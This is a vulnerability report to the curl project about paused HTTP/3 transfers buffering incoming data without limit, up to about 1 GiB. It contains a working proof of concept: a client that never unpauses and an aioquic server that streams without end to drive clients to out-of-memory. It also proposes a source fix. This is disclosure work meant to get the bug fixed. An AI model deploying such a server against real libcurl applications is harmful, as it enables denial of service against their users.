curl · Report #3734947
HTTP/3 paused transfer buffers incoming data without bound up to ~1 GiB
How it was found
Hi all,
When a libcurl application's CURLOPT_WRITEFUNCTION returns CURL_WRITEFUNC_PAUSE, libcurl routes subsequent incoming body data through cw-pause (lib/cw-pause.c). The bufq inside cw-pause is initialised with BUFQ_OPT_SOFT_LIMIT and a chunk size of 16 KiB (lib/cw-pause.c:51-52), which causes bufq to bypass the chunk limit and allocate new 16 KiB blocks without bound. A comment at line 181 makes the design intent explicit: "should take everything up to OOM". There is no aggregate byte cap equivalent to the 64 MiB DYN_PAUSE_BUFFER guard that the sibling cw-out writer uses.
I think https://github.com/curl/curl/issues/4939 is relevant.
The gap is harmless on HTTP/1.1 and HTTP/2. On HTTP/1.1, libcurl stops reading the TCP socket when paused, the kernel receive buffer fills, and TCP backpressure stalls the server — in practice the cw-pause buffer holds only what was already in-flight at the moment of pause, empirically ~3.8 MB flat regardless of how long the pause lasts. On HTTP/2, http2_data_pause (lib/http2.c:2636) calls nghttp2_session_set_local_window_size(..., 0) when the pause flag is set, which zeroes the stream window and prevents the server from sending more data at the protocol level.
For HTTP/3 neither mechanism exists. h3_data_pause in both backends is a complete no-op on the pause branch:
/* lib/vquic/curl_ngtcp2.c:2119-2129 */
static CURLcode h3_data_pause(struct Curl_cfilter *cf,
struct Curl_easy *data,
bool pause)
{
/* There seems to exist no API in ngtcp2 to shrink/enlarge the streams
* windows. As we do in HTTP/2. */
(void)cf;
if(!pause)
Curl_multi_mark_dirty(data);
return CURLE_OK;
}
The quiche backend is identical (lib/vquic/curl_quiche.c:1194-1205). More importantly, cb_h3_recv_data (lib/vquic/curl_ngtcp2.c:1122) calls ngtcp2_conn_extend_max_offset unconditionally on every received DATA frame, and cb_h3_deferred_consume (lib/vquic/curl_ngtcp2.c:1150) does the same for both connection and stream windows. The server receives an uninterrupted stream of WINDOW_UPDATE credits, keeps transmitting at full speed, and everything lands in the unbounded cw-pause buffer chain.
The only ceiling is the QUIC connection window constant H3_CONN_WINDOW_SIZE_MAX = 100 * H3_STREAM_WINDOW_SIZE_MAX (lib/vquic/curl_ngtcp2.c:81), where H3_STREAM_WINDOW_SIZE_MAX is 10 MiB, making the ceiling 1,000 MiB. That is not a libcurl safety valve — it is a QUIC flow-control cap that only engages after roughly 1 GiB of unacknowledged in-flight data. On a memory-constrained host the OOM-killer fires well before then. On a 10 Gbps loopback the growth rate is in the hundreds of MB/s; on a 10 Mbps WAN link it is ~1.25 MB/s, still reaching several hundred MB before the connection window is exhausted.
cw-pause is installed for every transfer (lib/sendf.c:339-345), so any libcurl application that uses CURL_WRITEFUNC_PAUSE and speaks HTTP/3 is affected. Using pause semantics is documented and supported; nothing unusual is required on the application side.
The contrast with cw-out is direct. Both writers accumulate data during a sustained pause; cw-out has a hard 64 MiB cap (lib/cw-out.c:352-354, returns CURLE_TOO_LARGE); cw-pause has none and will run to OOM.
Proof of concept
Two components are needed: a libcurl client whose write callback always returns CURL_WRITEFUNC_PAUSE and never resumes, and an HTTP/3 server that streams a large response without waiting for the client.
C client (compile against a debug build with --http3-only support):
#include <stdio.h>
#include <curl/curl.h>
static size_t write_cb(char *ptr, size_t size, size_t nmemb, void *userdata)
{
(void)ptr;
(void)size;
(void)nmemb;
(void)userdata;
/* Never unpause. Every byte the server sends lands in cw-pause. */
return CURL_WRITEFUNC_PAUSE;
}
int main(void)
{
CURL *easy = curl_easy_init();
curl_easy_setopt(easy, CURLOPT_URL, "https://127.0.0.1:4433/stream");
curl_easy_setopt(easy, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_3ONLY);
curl_easy_setopt(easy, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(easy, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, write_cb);
curl_easy_perform(easy);
curl_easy_cleanup(easy);
return 0;
}
Python aioquic server that streams without end (pip install aioquic to install the dependency):
import asyncio
from aioquic.asyncio import serve
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.h3.connection import H3Connection
from aioquic.h3.events import HeadersReceived
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import ProtocolNegotiated
CHUNK = 65536
class StreamingH3Protocol(QuicConnectionProtocol):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self._h3 = None
def quic_event_received(self, event):
if isinstance(event, ProtocolNegotiated):
self._h3 = H3Connection(self._quic, enable_webtransport=False)
if self._h3:
for h3ev in self._h3.handle_event(event):
if isinstance(h3ev, HeadersReceived):
asyncio.ensure_future(self._send_forever(h3ev.stream_id))
async def _send_forever(self, stream_id):
self._h3.send_headers(stream_id=stream_id, headers=[
(b":status", b"200"),
(b"content-type", b"application/octet-stream"),
])
payload = b"A" * CHUNK
while True:
self._h3.send_data(stream_id=stream_id,
data=payload, end_stream=False)
self.transmit()
await asyncio.sleep(0) # yield, never send END_STREAM
config = QuicConfiguration(is_client=False, alpn_protocols=["h3"])
config.load_cert_chain("server.crt", "server.key")
asyncio.run(serve("127.0.0.1", 4433,
configuration=config,
create_protocol=StreamingH3Protocol))
Run the server, then start the C client and watch RSS via /proc/$(pgrep curl)/status. Expected trajectory on a fast loopback:
Baseline RSS: ~4,000 kB
[ 1s] VmRSS: ~100,000 kB (+~96 MB)
[ 5s] VmRSS: ~500,000 kB (+~488 MB)
[ 10s] OOM-kill or VmRSS ~1,000,000 kB (ceiling ~1 GiB)
Compare that to the HTTP/1.1 case: RSS flat at +3.8 MB after the first pause, write callback called exactly once with 16,384 bytes, server completely stalled by TCP backpressure. The HTTP/3 case has no equivalent brake because h3_data_pause is a no-op and the QUIC flow-control credits keep flowing unconditionally.
Fix
The cleanest fix is to add a byte-total guard at the top of the do loop in cw_pause_write (lib/cw-pause.c:177) mirroring what cw_out_append already does — ctx->buf_total is already maintained accurately:
if(ctx->buf_total + blen > DYN_PAUSE_BUFFER) {
failf(data, "pause buffer not large enough -> CURLE_TOO_LARGE");
return CURLE_TOO_LARGE;
}
That caps growth at 64 MiB for all protocols with a one-line change sharing the constant that cw-out already treats as authoritative. A complementary H3-specific fix would be to gate the ngtcp2_conn_extend_max_offset calls in cb_h3_recv_data (lib/vquic/curl_ngtcp2.c:1139) and cb_h3_deferred_consume (lib/vquic/curl_ngtcp2.c:1163) on the transfer not being paused — restoring semantic parity with the HTTP/2 path where the window is explicitly zeroed. Both applied together would be ideal: the cap in cw-pause as a universal safety net, the window gating as proper protocol-level backpressure for H3.
Thank you, AISLE Research Team
Impact
A malicious or misbehaving HTTP/3 server can cause unbounded memory growth in any libcurl application that uses CURL_WRITEFUNC_PAUSE, because paused response-body data is buffered without a hard cap instead of being backpressured effectively at the protocol layer. In practice, this might be a a denial-of-service issue that can drive the client process into excessive RSS growth and potentially OOM termination.